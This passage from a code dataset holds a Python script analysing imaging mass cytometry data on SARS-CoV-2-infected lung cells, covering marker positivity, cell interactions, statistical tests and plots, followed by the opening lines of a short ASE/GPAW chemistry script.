\"functional_state_comparison.mean_values.csv\")\n\nmax_values = (poscc.T / roi_cell_count).T.join(\n roi_attributes[[\"phenotypes\"]]\n).groupby([\"phenotypes\", \"cluster\"]).max().dropna() * 100\nmax_covid = (poscc.T / roi_cell_count).T.join(\n roi_attributes[[\"disease\"]]\n).groupby([\"disease\", \"cluster\"]).max().dropna().loc[[\"COVID19\"]] * 100\nmax_covid.index.names = [\"phenotypes\", \"cluster\"]\nmax_covid.index = pd.MultiIndex.from_tuples(max_covid.index.to_list())\nmax_values = pd.concat([max_values, max_covid])\nmax_values.to_csv(output_dir / \"functional_state_comparison.max_values.csv\")\n\n\n# #\n# # Calculate fisher p-values for double-expression\n# # # e.g. SARS and C5bC9\n\n# # quickly get boolean dataframe\n# ts = dict()\n# for ct, t in mixes.items():\n# if mixes[ct] == 2:\n# ts[ct] = thresholds[ct][list(thresholds[ct].keys())[-1]]\n# else:\n# ts[ct] = thresholds[ct][list(thresholds[ct].keys())[-2]]\n# ts = pd.Series(ts, name=\"thresholds\")\n# p = pd.concat(\n# [quant[m] > ts[m] for m in ts.index[ts.index.isin(quant.columns)]]\n# + [quant[x] for x in ids],\n# 1,\n# )\n# p.index.name = \"obj_id\"\n# # annotate with clusters\n# pc = p.reset_index().merge(\n# prj.clusters.reset_index(), on=[\"sample\", \"roi\", \"obj_id\"]\n# )\n# pc = pc.query(\"cluster != ''\")\n\n\n# pc[\"covid\"] = pc[\"roi\"].str.contains(\"COVID\")\n# q = pc.query(\"covid == True\")\n# qe = q.query(\"cluster == 'Epithelial cells'\")\n# markers = [\n# \"SARSCoV2S1(Eu153)\",\n# \"C5bC9(Gd155)\",\n# # \"area\",\n# \"CleavedCaspase3(Yb172)\",\n# \"pCREB(Ho165)\",\n# \"IL1beta(Er166)\",\n# \"pSTAT3(Gd158)\",\n# \"IL6(Gd160)\",\n# ]\n\n# # # get numbers of cells co-expressing markers progressively\n# df = qe.copy()\n# res1 = list()\n# for marker in markers:\n# v1 = df[marker].sum()\n# v0 = df.shape[0] - v1\n# res1.append((marker, v1, v0))\n# df = df.loc[df[marker] == True]\n# df = qe.copy()\n# res2 = list()\n# for i, marker in enumerate(markers):\n# v1 = df[marker].sum()\n# v0 = df.shape[0] - v1\n# res2.append((marker, v1, v0))\n# df = df.loc[df[marker] == (False if i == 0 else True)]\n\n# # # plot as kind-of sankei plots\n# fig, axes = plt.subplots(2, 1, figsize=(6, 3 * 2))\n# for marker, v1, v0 in res1:\n# total = v0 + v1\n# axes[0].bar(marker, v0 / total, color=\"grey\")\n# axes[0].bar(marker, v1 / total, bottom=v0 / total, color=\"green\")\n# for marker, v1, v0 in res2:\n# total = v0 + v1\n# axes[1].bar(marker, v0 / total, color=\"grey\")\n# axes[1].bar(marker, v1 / total, bottom=v0 / total, color=\"blue\")\n# fig.savefig(\n# output_dir\n# / \"infected_cells_coexpression_positivity.serial.COVID.epithelial.svg\",\n# **figkws,\n# )\n\n\n#\n\n\n#\n\n# # measure interactions dependent on state\npos = pd.read_parquet(positive_file)\nposc = pd.read_parquet(positive_count_file)\nstate_vector = pos.set_index([\"roi\", \"obj_id\"])[\"SARSCoV2S1(Eu153)\"]\n# # start with infection\ninterac_file = output_dir / \"interactions.dependent_on_state.infection.csv\"\nif not interac_file.exists():\n covid_rois = [r for r in prj.rois if \"COVID\" in r.name]\n # fracs = list()\n # for roi in covid_rois:\n # state = (\n # pos[\"SARSCoV2S1(Eu153)\"]\n # .query(f'roi == \"{roi.name}\"')\n # .str.endswith(\"+\")\n # )\n # fracs.append(get_interaction_by_state(roi, state))\n fracs = parmap.map(\n get_interaction_by_state,\n covid_rois,\n state_vector=state_vector,\n pm_pbar=True,\n )\n\n all_frac = pd.concat(fracs)\n all_frac.to_csv(interac_file)\nall_frac = (\n pd.read_csv(interac_file, index_col=[0, 1])\n .sort_index(0, level=[0, 1])\n .sort_index(1)\n)\n\nstate_counts = (\n prj.clusters.reset_index(level=0, drop=True)\n .sort_index()\n .to_frame()\n .join(state_vector)\n .groupby([\"roi\", \"cluster\"])[\"SARSCoV2S1(Eu153)\"]\n .sum()\n)\nstate_counts.index = pd.MultiIndex.from_arrays(\n [\n state_counts.index.get_level_values(\"roi\"),\n state_counts.index.get_level_values(\"cluster\").str.extract(\n r\"\\d+ - (.*)\"\n )[0],\n ],\n names=[\"roi\", \"cluster\"],\n)\n\nall_frac = all_frac.loc[\n ~all_frac.index.get_level_values(1).str.startswith(\" - \"),\n ~all_frac.columns.str.startswith(\" - \"),\n]\n\nel = all_frac.index.get_level_values(0).str.contains(\"EARLY\")\nmean_ea = all_frac.loc[el].groupby(level=1).mean().sort_index(0).sort_index(1)\nmean_la = all_frac.loc[~el].groupby(level=1).mean().sort_index(0).sort_index(1)\n\nmean_ea = mean_ea.loc[\n mean_ea.index.str.endswith(\"False\"), mean_ea.columns.str.endswith(\"True\")\n]\nmean_la = mean_la.loc[\n mean_la.index.str.endswith(\"False\"), mean_la.columns.str.endswith(\"True\")\n]\nkws = dict(center=0, cmap=\"RdBu_r\", xticklabels=True, yticklabels=True)\nfig, axes = plt.subplots(2, 2)\nsns.heatmap(mean_ea - mean_ea.values.mean(), ax=axes[0][0], **kws)\naxes[0][0].set_title(\"COVID19_early\")\nsns.heatmap(mean_la - mean_la.values.mean(), ax=axes[0][1], **kws)\naxes[0][1].set_title(\"COVID19_late\")\n\n\nfig, axes = plt.subplots(1, 2, figsize=(4 * 2, 4 * 1))\nsns.heatmap(\n all_frac.loc[\n all_frac.index.get_level_values(1).str.endswith(\" - False\"),\n all_frac.columns.str.endswith(\" - False\"),\n ]\n .groupby(level=1)\n .mean(),\n ax=axes[0],\n square=True,\n vmin=-2,\n vmax=2,\n **kws,\n)\nsns.heatmap(\n all_frac.loc[\n all_frac.index.get_level_values(1).str.endswith(\" - True\"),\n all_frac.columns.str.endswith(\" - True\"),\n ]\n .groupby(level=1)\n .mean(),\n ax=axes[1],\n square=True,\n vmin=-2,\n vmax=2,\n **kws,\n)\nfig.savefig(\n output_dir\n / f\"infected_cells.interaction.COVID.infected-uninfected.heatmap.svg\",\n **figkws,\n)\n\n\nkws = dict(\n cmap=\"RdBu_r\", vmin=-2, vmax=2, cbar_kws=dict(label=\"Interaction strength\")\n)\nel_all = np.asarray([True] * el.shape[0])\nfor label1, sel in [(\"all\", el_all), (\"early\", el), (\"late\", ~el)]:\n for label2, (a, b) in [\n (\"infected-infected\", (\"True\", \"True\")),\n (\"infected-uninfected\", (\"True\", \"False\")),\n (\"uninfected-uninfected\", (\"False\", \"False\")),\n ]:\n ss = all_frac.loc[sel].groupby(level=1).mean()\n p = ss.loc[\n ss.index.str.endswith(f\" - {a}\"),\n ss.columns.str.endswith(f\" - {b}\"),\n ]\n\n roi_names = all_frac.loc[sel].index.get_level_values(\"roi\").unique()\n total = prj.clusters.loc[:, roi_names, :].value_counts()\n total.index = total.index.str.extract(r\"\\d+ - (.*)\")[0]\n curstate = (\n state_counts.loc[roi_names].groupby(level=\"cluster\").sum() / total\n ) * 100\n if a == \"False\":\n astate = 100 - curstate\n astate.index = astate.index + \" - False\"\n else:\n astate = curstate.copy()\n astate.index = astate.index + \" - True\"\n if b == \"False\":\n bstate = 100 - curstate\n bstate.index = bstate.index + \" - False\"\n else:\n bstate = curstate.copy()\n bstate.index = bstate.index + \" - True\"\n\n atotal = total.copy()\n atotal.index = atotal.index + f\" - {a}\"\n btotal = total.copy()\n btotal.index = btotal.index + f\" - {b}\"\n\n al, bl = label2.split(\"-\")\n grid = sns.clustermap(\n p.fillna(0),\n mask=p.isnull(),\n row_colors=astate.rename(f\"% {al}\")\n .to_frame()\n .join(atotal.rename(\"cells\")),\n col_colors=bstate.rename(f\"% {bl}\")\n .to_frame()\n .join(btotal.rename(\"cells\")),\n row_cluster=False,\n col_cluster=False,\n # norm=LogNorm(),\n **kws,\n )\n grid.fig.suptitle(f\"{label1} - {a}; {b}\")\n grid.fig.savefig(\n output_dir\n / f\"infected_cells.interaction.COVID.{label1}.{label2}.clustermap.ordered.svg\",\n **figkws,\n )\n plt.close(grid.fig)\n\n grid = sns.clustermap(\n p.fillna(0),\n mask=p.isnull(),\n row_colors=astate.rename(f\"% {al}\")\n .to_frame()\n .join(atotal.rename(\"cells\")),\n col_colors=bstate.rename(f\"% {bl}\")\n .to_frame()\n .join(btotal.rename(\"cells\")),\n # norm=LogNorm(),\n **kws,\n )\n grid.fig.suptitle(f\"{label1} - {a}; {b}\")\n grid.fig.savefig(\n output_dir\n / f\"infected_cells.interaction.COVID.{label1}.{label2}.clustermap.clustered.svg\",\n **figkws,\n )\n plt.close(grid.fig)\n\n\nearly = all_frac.loc[el].groupby(level=1).mean()[\"Epithelial cells - True\"]\nlate = all_frac.loc[~el].groupby(level=1).mean()[\"Epithelial cells - True\"]\n\nroi_names = all_frac.loc[el].index.get_level_values(\"roi\").unique()\ntotal = prj.clusters.loc[:, roi_names, :].value_counts()\n\ndf = early.to_frame(name=\"early\").join(late.rename(\"late\"))\ndf = df.groupby(df.index.str.extract(r\"(.*) - .*\")[0].values).mean()\nmean = df.mean(1)\nfc = df[\"late\"] - df[\"early\"]\n\nfig, axes = plt.subplots(1, 2, figsize=(6 * 2, 4))\naxes[0].scatter(df[\"early\"], df[\"late\"])\nfor i, row in df.iterrows():\n axes[0].text(row[\"early\"], row[\"late\"], s=i)\nv = df.abs().max().max()\naxes[0].plot((-v, v), (-v, v), linestyle=\"--\", color=\"grey\")\naxes[0].set(xlabel=\"Early\")\naxes[0].set(ylabel=\"Late\")\n\naxes[1].scatter(mean, fc)\naxes[1].axhline(0, linestyle=\"--\", color=\"grey\")\nfor i, row in df.iterrows():\n axes[1].text(mean.loc[i], fc.loc[i], s=i)\n\n\n# Test\n\n# # tests are done comparing the interaction of uninfected cells from cell type A with cell type/state B\n# # to the interaction of infected cells from cell type A with cell type/state B\nimport pingouin as pg\n\nto_test = all_frac.reset_index(level=1).melt(id_vars=[\"level_1\"]).dropna()\nto_test[\"idx\"] = to_test[\"level_1\"].str.extract(\"(.*) - \")[0]\nto_test[\"col\"] = to_test[\"variable\"].str.extract(\"(.*) - \")[0]\nto_test[\"idx_infected\"] = to_test[\"level_1\"].str.endswith(\" - True\")\nto_test[\"col_infected\"] = to_test[\"variable\"].str.endswith(\" - True\")\nto_test[\"label\"] = to_test[\"level_1\"] + \" <-> \" + to_test[\"variable\"]\n_res = list()\nfor ct1 in to_test[\"idx\"].unique():\n for ct2 in to_test[\"variable\"].unique():\n print(ct1, ct2)\n neg = to_test.query(\n f\"(level_1 == '{ct1} - False') & (variable == '{ct2}')\"\n )[\"value\"]\n pos = to_test.query(\n f\"(level_1 == '{ct1} - True') & (variable == '{ct2}')\"\n )[\"value\"]\n if pos.empty or neg.empty:\n continue\n pos_mean = pos.mean()\n neg_mean = neg.mean()\n _res.append(\n pg.mwu(pos, neg, tail=\"two-sided\").assign(\n ct1=ct1,\n ct2=ct2,\n pos_mean=pos_mean,\n neg_mean=neg_mean,\n diff=pos_mean - neg_mean,\n )\n )\nres = pd.concat(_res)\nres[\"p-cor\"] = pg.multicomp(res[\"p-val\"].tolist(), method=\"fdr_bh\")[1]\nres[\"mean\"] = res[[\"pos_mean\", \"neg_mean\"]].mean(1)\nres = res.reset_index(drop=True)\nres.to_csv(\n output_dir / f\"infected_cells.interaction.COVID.tests.csv\", index=False\n)\n\n\ncts = to_test[\"idx\"].unique()\n\nfig, axes = plt.subplots(2, 1 + len(cts), figsize=(3 * (1 + len(cts)), 3 * 2))\npv = (-np.log10(res[\"p-cor\"])).max()\npv += pv / 10\ndv = res[\"diff\"].abs().max()\ndv += dv / 10\nmv = (res[\"mean\"].min(), res[\"mean\"].max())\nmv = (mv[0] + mv[0] / 10, mv[1] + mv[1] / 10)\n\nfor ax in axes[0, :]:\n ax.axvline(0, linestyle=\"--\", color=\"grey\")\n ax.set_xlim((-dv, dv))\n ax.set_ylim((0, pv))\nfor ax in axes[1, :]:\n ax.axhline(0, linestyle=\"--\", color=\"grey\")\n ax.set_xlim(mv)\n ax.set_ylim((-dv, dv))\naxes[0][0].scatter(res[\"diff\"], -np.log10(res[\"p-cor\"]), c=res[\"CLES\"])\naxes[1][0].scatter(res[\"mean\"], res[\"diff\"], c=-np.log10(res[\"p-cor\"]))\nfor i, ct in enumerate(cts):\n axes[0][1 + i].set(title=ct)\n res2 = res.query(f\"ct1 == '{ct}'\")\n axes[0][1 + i].scatter(\n res2[\"diff\"], -np.log10(res2[\"p-cor\"]), c=res2[\"CLES\"]\n )\n for _, row in res2.sort_values(\"p-val\").head(3).iterrows():\n axes[0][1 + i].text(row[\"diff\"], -np.log10(row[\"p-cor\"]), s=row[\"ct2\"])\n axes[1][1 + i].scatter(\n res2[\"mean\"], res2[\"diff\"], c=-np.log10(res2[\"p-cor\"])\n )\nfig.savefig(\n output_dir / f\"infected_cells.interaction.COVID.tests.svg\",\n transparent=True,\n **{\"dpi\": 300, \"bbox_inches\": \"tight\", \"pad_inches\": 0},\n)\n\n\nfor label, ending in [(\"uninfected\", \" - False\"), (\"infected\", \" - True\")]:\n fig, axes = plt.subplots(\n 2, 1 + len(cts), figsize=(3 * (1 + len(cts)), 3 * 2)\n )\n res3 = res.loc[res[\"ct2\"].str.endswith(ending)]\n\n pv = (-np.log10(res3[\"p-cor\"])).max()\n pv += pv / 10\n dv = res3[\"diff\"].abs().max()\n dv += dv / 10\n mv = (res3[\"mean\"].min(), res3[\"mean\"].max())\n mv = (mv[0] + mv[0] / 10, mv[1] + mv[1] / 10)\n\n for ax in axes[0, :]:\n ax.axvline(0, linestyle=\"--\", color=\"grey\")\n ax.set_xlim((-dv, dv))\n ax.set_ylim((0, pv))\n for ax in axes[1, :]:\n ax.axhline(0, linestyle=\"--\", color=\"grey\")\n ax.set_xlim(mv)\n ax.set_ylim((-dv, dv))\n axes[0][0].scatter(res3[\"diff\"], -np.log10(res3[\"p-cor\"]), c=res3[\"CLES\"])\n axes[1][0].scatter(res3[\"mean\"], res3[\"diff\"], c=-np.log10(res3[\"p-cor\"]))\n for i, ct in enumerate(cts):\n axes[0][1 + i].set(title=ct)\n res2 = res3.query(f\"ct1 == '{ct}'\")\n axes[0][1 + i].scatter(\n res2[\"diff\"], -np.log10(res2[\"p-cor\"]), c=res2[\"CLES\"]\n )\n for _, row in res2.sort_values(\"p-val\").head(3).iterrows():\n axes[0][1 + i].text(\n row[\"diff\"], -np.log10(row[\"p-cor\"]), s=row[\"ct2\"]\n )\n axes[1][1 + i].scatter(\n res2[\"mean\"], res2[\"diff\"], c=-np.log10(res2[\"p-cor\"])\n )\n fig.savefig(\n output_dir / f\"infected_cells.interaction.COVID.tests.with_{label}.svg\",\n transparent=True,\n **{\"dpi\": 300, \"bbox_inches\": \"tight\", \"pad_inches\": 0},\n )\n\n\n# to_test = to_test.drop(['variable', 'level_1'], axis=1)\n# res = pg.pairwise_ttests(data=to_test, dv='value', between='label')\n\n\n# # # aggregate by phenotype (early/late)\n\n\n# #\n# from patsy import dmatrices\n# import statsmodels.api as sm\n# import statsmodels.formula.api as smf\n\n# ori = pd.DataFrame(\n# [\n# posc.groupby([\"roi\", \"cluster\"])[m].apply(\n# lambda x: x.str.contains(r\"\\+\").sum()\n# )\n# for m in quant.columns.drop(ids)\n# ]\n# ).T\n# ori[\"sample\"] = pd.Categorical(\n# ori.index.get_level_values(\"roi\").str.extract(r\"(.*)-(\\d+)\")[0].values\n# )\n# ori.columns = ori.columns.str.extract(r\"(.*)\\(\")[0].fillna(\n# ori.columns.to_series().reset_index(drop=True)\n# )\n# to_test = ori.join(roi_attributes).reset_index(level=1)\n# to_test[\"phenotypes\"] = to_test[\"phenotypes\"].cat.reorder_categories(\n# [\"Healthy\", \"Flu\", \"ARDS\", \"COVID19_late\", \"COVID19_early\", \"Pneumonia\"],\n# ordered=True,\n# )\n\n# _coefs = list()\n# _pvals = list()\n# for cluster in to_test[\"cluster\"].unique():\n# data = to_test.query(f\"cluster == '{cluster}'\")\n# __coefs = list()\n# __pvals = list()\n# for col in ori.columns[:-1]:\n# if data[col].sum() == 0:\n# continue\n# formula = f\"\"\"{col} ~ sample + phenotypes\"\"\"\n# response, predictors = dmatrices(formula, data, return_type=\"dataframe\")\n# results = sm.GLM(\n# response, predictors.astype(int), family=sm.families.Poisson()\n# ).fit()\n# __coefs.append(results.params.rename(col))\n# __pvals.append(results.pvalues.rename(col))\n# _coefs.append(pd.DataFrame(__coefs).assign(cluster=cluster))\n# _pvals.append(pd.DataFrame(__pvals).assign(cluster=cluster))\n# coefs = pd.concat(_coefs)\n# pvals = pd.concat(_pvals)\n\n\n# for cluster in to_test[\"cluster\"].unique():\n# c = coefs.query(f\"cluster == '{cluster}'\").drop(\n# [\"Intercept\", \"cluster\"], axis=1\n# )\n# grid = sns.clustermap(\n# c.T, xticklabels=True, center=0, cmap=\"RdBu_r\", robust=True\n# )\n\n# #\n\n\n# #\n\n\n# #\n\n\n# #\n\n\n# #\n\n\n# #\n\n\n# #\n\n\n# # Old stuff:\n\n\n# # Cell death\n# # # CleavedCaspase3, C5bC9\n\n# # Inflamation\n# # # IL1B, IL6\n\n# #\n\n\n# dna = \"DNA\"\n# cd45 = \"CD45(Sm152)\"\n# sp = \"SARSCoV2S1(Eu153)\"\n# ker = \"Keratin818(Yb174)\"\n\n# # structural\n# structural = [\n# \"CD31(Eu151)\",\n# \"Keratin818(Yb174)\",\n# \"Vimentin(Sm154)\",\n# \"AlphaSMA(Pr141)\",\n# \"CollagenTypeI(Tm169)\",\n# \"TTF1(Nd145)\",\n# ]\n\n# # Immune\n# immune = [\n# \"CD45(Sm152)\",\n# \"MastCellTryptase(Lu175)\",\n# \"cKIT(Nd143)\",\n# \"CD11c(Yb176)\",\n# \"CD15(Dy163)\",\n# \"CD16(Nd146)\",\n# \"CD68(Nd150)\",\n# \"CD206(Nd144)\",\n# \"CD163(Sm147)\",\n# \"CD14(Nd148)\",\n# \"CD11b(Sm149)\",\n# \"CD56(Tb159)\",\n# \"CD57(Yb171)\",\n# \"CD20(Dy161)\",\n# \"CD3(Er170)\",\n# \"CD8a(Dy162)\",\n# \"CD4(Gd156)\",\n# \"CD123(Er167)\",\n# ]\n\n# # Functional\n# \"SARSCoV2S1(Eu153)\"\n# \"C5bC9(Gd155)\"\n# \"iNOS(Nd142)\"\n# \"cKIT(Nd143)\"\n# \"Arginase1(Dy164)\"\n# \"pCREB(Ho165)\"\n# \"IL1beta(Er166)\"\n# \"Ki67(Er168)\"\n# \"CleavedCaspase3(Yb172)\"\n# \"MPO(Yb173)\"\n# \"IL6(Gd160)\"\n# \"pSTAT3(Gd158)\"\n\n\n# dna_n = get_best_mixture_number(quant[dna], 2, 8)\n# dna_thresh = get_threshold_from_gaussian_mixture(quant[dna], None, dna_n)\n\n# cd45_n = get_best_mixture_number(quant[cd45], 2, 8)\n# cd45_thresh = get_threshold_from_gaussian_mixture(quant[cd45], None, cd45_n)\n\n# sp_n = get_best_mixture_number(quant[sp], 2, 8)\n# sp_thresh = get_threshold_from_gaussian_mixture(quant[sp], None, sp_n)\n# sp_pos = quant[sp] > sp_thresh.loc[0]\n\n# ker_n = get_best_mixture_number(quant[ker], 2, 8)\n# ker_thresh = get_threshold_from_gaussian_mixture(quant[ker], None, ker_n)\n# ker_pos = quant[ker] > ker_thresh.loc[0]\n\n\n# # from sklearn.mixture import GaussianMixture\n# # mix = GaussianMixture(2)\n# # mix.fit(quant[[dna, sp]])\n# # color = mix.predict(quant[[dna, sp]])\n\n\n# covid = quant[\"sample\"].str.contains(\"COVID\")\n# n_quant = quant.loc[~covid, :]\n# c_quant = quant.loc[covid, :]\n\n# fig, axes = plt.subplots(\n# 2,\n# 5,\n# figsize=(4, 2),\n# gridspec_kw=dict(width_ratios=[0.4, 0.2, 0.4, 0.2, 0.4]),\n# sharey=False,\n# )\n# for axes, df in zip(axes, [n_quant, c_quant]):\n# axes[0].scatter(df[dna], df[sp], s=0.5, alpha=0.01, rasterized=True)\n# for t in dna_thresh:\n# axes[0].axvline(t, linestyle=\"--\", color=\"grey\")\n# for t in sp_thresh:\n# axes[0].axhline(t, linestyle=\"--\", color=\"grey\")\n# axes[1].axhline(t, linestyle=\"--\", color=\"grey\")\n# axes[0].set(\n# xlabel=dna,\n# ylabel=sp,\n# xlim=(0, quant[dna].quantile(0.999)),\n# ylim=(0, quant[sp].quantile(0.999)),\n# )\n# sns.distplot(df[sp], vertical=True, hist=True, ax=axes[1])\n# axes[1].set_yticklabels([])\n# axes[1].set_ylabel(\"\")\n# axes[1].set_ylim(axes[0].get_ylim())\n# # axes[1].set_xscale(\"log\")\n\n# axes[2].scatter(df[dna], df[ker], s=0.5, alpha=0.01, rasterized=True)\n# for t in dna_thresh:\n# axes[2].axvline(t, linestyle=\"--\", color=\"grey\")\n# for t in ker_thresh:\n# axes[2].axhline(t, linestyle=\"--\", color=\"grey\")\n# axes[3].axhline(t, linestyle=\"--\", color=\"grey\")\n# axes[2].set(\n# xlabel=dna,\n# ylabel=ker,\n# xlim=(0, quant[dna].quantile(0.999)),\n# ylim=(0, quant[ker].quantile(0.999)),\n# )\n# sns.distplot(df[ker], vertical=True, hist=True, ax=axes[3])\n# axes[3].set_yticklabels([])\n# axes[3].set_ylabel(\"\")\n# axes[3].set_ylim(axes[2].get_ylim())\n# # axes[3].set_xscale(\"log\")\n\n# infected = df.loc[df[sp] > sp_thresh[0], :]\n\n# axes[4].scatter(\n# infected[ker], infected[sp], s=0.5, alpha=0.01, rasterized=True\n# )\n# for t in ker_thresh:\n# axes[4].axvline(t, linestyle=\"--\", color=\"grey\")\n# for t in sp_thresh:\n# axes[4].axhline(t, linestyle=\"--\", color=\"grey\")\n# axes[4].set(\n# xlabel=ker,\n# ylabel=sp,\n# xlim=(0, quant[ker].quantile(0.999)),\n# ylim=(0, quant[sp].quantile(0.999)),\n# )\n# fig.savefig(output_dir / f\"{dna}-{ker}-{sp}.scatter_distplot.svg\", **figkws)\n\n\n# # Pairwise for a group of markers\n# pos = pd.DataFrame(index=quant.index, columns=quant.columns)\n# for m in quant.columns:\n# name = m.split(\"(\")[0]\n# if mixes[m] == 2:\n# pos[m] = (quant[m] > thresholds[m][0]).replace(\n# {False: name + \"-\", True: name + \"+\"}\n# )\n# else:\n# pos[m] = (quant[m] > thresholds[m].iloc[-1]).replace({True: name + \"+\"})\n# sel = pos[m] == False\n# pos.loc[sel, m] = (quant.loc[sel, m] > thresholds[m].iloc[-2]).replace(\n# {True: name + \"dim\", False: name + \"-\"}\n# )\n\n# # get all negative cells\n# boo = pd.concat([pos[m].str.contains(r\"\\+|dim\") for m in markers], 1)\n# quant[cd45].groupby(boo.sum(1).values).mean()\n\n\n# combs = list(itertools.combinations(structural, 2))\n# n = len(combs)\n# x, y = get_grid_dims(n)\n# fig, axes = plt.subplots(x, y, figsize=(y * 4, x * 4), tight_layout=True)\n# for ax, (m1, m2) in zip(axes.flat, combs):\n# ax.scatter(quant[m1], quant[m2], s=0.5, alpha=0.01, rasterized=True)\n# for t in thresholds[m1]:\n# ax.axvline(t, linestyle=\"--\", color=\"grey\")\n# for t in thresholds[m2]:\n# ax.axhline(t, linestyle=\"--\", color=\"grey\")\n# ax.set(\n# xlabel=m1,\n# ylabel=m2,\n# xlim=(0, quant[m1].quantile(0.999)),\n# ylim=(0, quant[m2].quantile(0.999)),\n# )\n\n# fig.savefig(output_dir / \"structural_markers.svg\", dpi=100)\n\n\n# #\n\n# #\n\n# #\n\n# # Cellular states for all cells\n# sars = \"SARSCoV2S1(Eu153)\"\n# cc3 = \"CleavedCaspase3(Yb172)\"\n# c5bc9 = \"C5bC9(Gd155)\"\n# ki67 = \"Ki67(Er168)\"\n# arg1 = \"Arginase1(Dy164)\"\n# mpo = \"MPO(Yb173)\"\n# inos = \"iNOS(Nd142)\"\n# il6 = \"IL6(Gd160)\"\n# il1b = \"IL1beta(Er166)\"\n\n# states = [sars, cc3, c5bc9, ki67, arg1, mpo, inos, il6, il1b]\n# infection = quant[sars]\n# apoptosis = quant[cc3]\n# complement = quant[c5bc9]\n# inflamatory = quant[il6]\n\n\n# #\n\n# #\n\n# #\n\n# #\n\n# # Correlate fever with IL1b levels\n# meta = pd.read_parquet(metadata_dir / \"clinical_annotation.pq\").set_index(\n# \"sample_name\"\n# )\n\n# # across all cells\n# gx = (\n# quant.loc[quant[\"sample\"].str.contains(\"COVID\")]\n# .groupby(\"sample\")\n# .mean()\n# .join(meta)\n# )\n\n\n# xf = gx.loc[\n# :, gx.columns[gx.dtypes.apply(lambda x: x.name).isin([\"float64\", \"int64\"])]\n# ]\n# xf = xf.loc[:, ~xf.isnull().all()]\n\n# corr = xf.corr(method=\"spearman\")\n# corr = corr.loc[corr.index.isin(quant.columns), corr.columns.isin(meta.columns)]\n# grid = sns.clustermap(\n# corr,\n# cmap=\"RdBu_r\",\n# center=0,\n# xticklabels=True,\n# yticklabels=True,\n# cbar_kws=dict(label=\"Spearman correlation\"),\n# )\n# grid.fig.savefig(\n# results_dir\n# / \"clinical\"\n# / \"channel_intensity_in_cells_correlation_with_clinical.clustermap.svg\",\n# **figkws,\n# )\n\n# factors = corr.columns\n# fig, axes = plt.subplots(\n# 1 + 6, len(factors), figsize=(len(factors) * 4, 1 + 6 * 4)\n# )\n# for var, ax in zip(factors, axes.T):\n# # rank vs corr\n# rank = corr[var].rank()\n# ax[0].scatter(rank / rank.max(), corr[var], alpha=0.5)\n# ax[0].set(title=var, ylim=(-1, 1))\n\n# # plot top/bottom 3\n# s = corr[var].sort_values()\n# for f, a in zip(s.head(3).index, ax[1:]):\n# a.scatter(xf[f], xf[var], alpha=0.5)\n# a.set(title=f)\n# for f, a in zip(s.tail(3).index, ax[4:]):\n# a.scatter(xf[f], xf[var], alpha=0.5)\n# a.set(title=f)\n# fig.savefig(\n# results_dir\n# / \"clinical\"\n# / \"channel_intensity_in_cells_correlation_with_clinical.scatter_demo.svg\",\n# **figkws,\n# )\n\n# # plt.scatter(gx[il6], gx[\"fever_temperature_celsius\"])\n\n\n# # per cell type\n# prefix = \"roi_zscored.filtered.\"\n# cluster_str = \"cluster_1.0\"\n# new_labels = json.load(open(\"metadata/cluster_names.json\"))[\n# f\"{prefix};{cluster_str}\"\n# ]\n# new_labels = {int(k): v for k, v in new_labels.items()}\n# for k in prj.clusters.unique():\n# if k not in new_labels:\n# new_labels[k] = \"999 - ?()\"\n# new_labels_agg = {\n# k: \"\".join(re.findall(r\"\\d+ - (.*) \\(\", v)) for k, v in new_labels.items()\n# }\n# prj._clusters = None\n# prj.set_clusters(\n# prj.clusters.replace(new_labels_agg), write_to_disk=False,\n# )\n\n# #\n# gx = (\n# (\n# quant.rename_axis(\"obj_id\")\n# .reset_index()\n# .merge(prj.clusters.reset_index())\n# .drop(\"obj_id\", 1)\n# .query(\"sample.str.contains('COVID').values\")\n# .groupby([\"sample\", \"cluster\"])\n# .mean()\n# .reset_index(level=1)\n# .join(meta)\n# )\n# .set_index(\"cluster\", append=True)\n# .reorder_levels([1, 0])\n# )\n# xf = gx.loc[\n# :, gx.columns[gx.dtypes.apply(lambda x: x.name).isin([\"float64\", \"int64\"])]\n# ]\n# xf = xf.loc[:, ~xf.isnull().all()]\n\n# _corrs = list()\n# for cell_type in xf.index.levels[0]:\n# corr = xf.loc[cell_type].corr(method=\"spearman\")\n# corr = corr.loc[\n# corr.index.isin(quant.columns), corr.columns.isin(meta.columns)\n# ]\n# corr.index = cell_type + \" - \" + corr.index\n# _corrs.append(corr)\n\n# corrs = pd.concat(_corrs)\n\n# colors = corrs.index.to_series().str.extract(\n# r\"(?P.*) - (?P.*)\"\n# )\n# grid = sns.clustermap(\n# corrs,\n# cmap=\"RdBu_r\",\n# center=0,\n# xticklabels=True,\n# row_colors=colors[\"cell_type\"],\n# cbar_kws=dict(label=\"Spearman correlation\"),\n# )\n# grid.fig.savefig(\n# results_dir\n# / \"clinical\"\n# / \"channel_intensity_in_cells_correlation_with_clinical.per_cell_type.clustermap.svg\",\n# **figkws,\n# )\n\n\n# factors = corrs.columns\n# n = 10\n# half = n // 2\n# fig, axes = plt.subplots(\n# 1 + n, len(factors), figsize=(len(factors) * 4, 1 + n * 4)\n# )\n# for var, ax in zip(factors, axes.T):\n# # rank vs corrs\n# rank = corrs[var].rank()\n# ax[0].scatter(rank / rank.max(), corrs[var], alpha=0.5)\n# ax[0].set(title=var, ylim=(-1, 1))\n\n# # plot top/bottom\n# s = corrs[var].sort_values()\n# for f, a in zip(s.head(half).index, ax[1:]):\n# (ct, ch) = f.split(\" - \")\n# a.scatter(xf.loc[ct, ch], xf.loc[ct, var], alpha=0.5)\n# a.set(title=ct + \" - \" + ch)\n# for f, a in zip(s.tail(half).index, ax[half + 1 :]):\n# (ct, ch) = f.split(\" - \")\n# a.scatter(xf.loc[ct, ch], xf.loc[ct, var], alpha=0.5)\n# a.set(title=ct + \" - \" + ch)\n# fig.savefig(\n# results_dir\n# / \"clinical\"\n# / \"channel_intensity_in_cells_correlation_with_clinical.per_cell_type.scatter_demo.svg\",\n# **figkws,\n# )\n\n# #\n\n# #\n\n# #\n","sub_path":"src/gating.py","file_name":"gating.py","file_ext":"py","file_size_in_byte":38016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"375183678","text":"from ase.io import read, write\nfrom ase.db import connect\nimport pickle\nimport argparse\nimport subprocess\n\n\nsubprocess.run('touch .start', shell=True)\n\n# Parser input:\nparser = argparse.ArgumentParser()\nparser.add_argument('index', type=int)\nparser.add_argument('traj_file', type=str)\nargs = parser.parse_args()\n\n# Get atoms object\natoms = read(args.traj_file, index=args.index)\n\n# GPAW calculator.\nwith 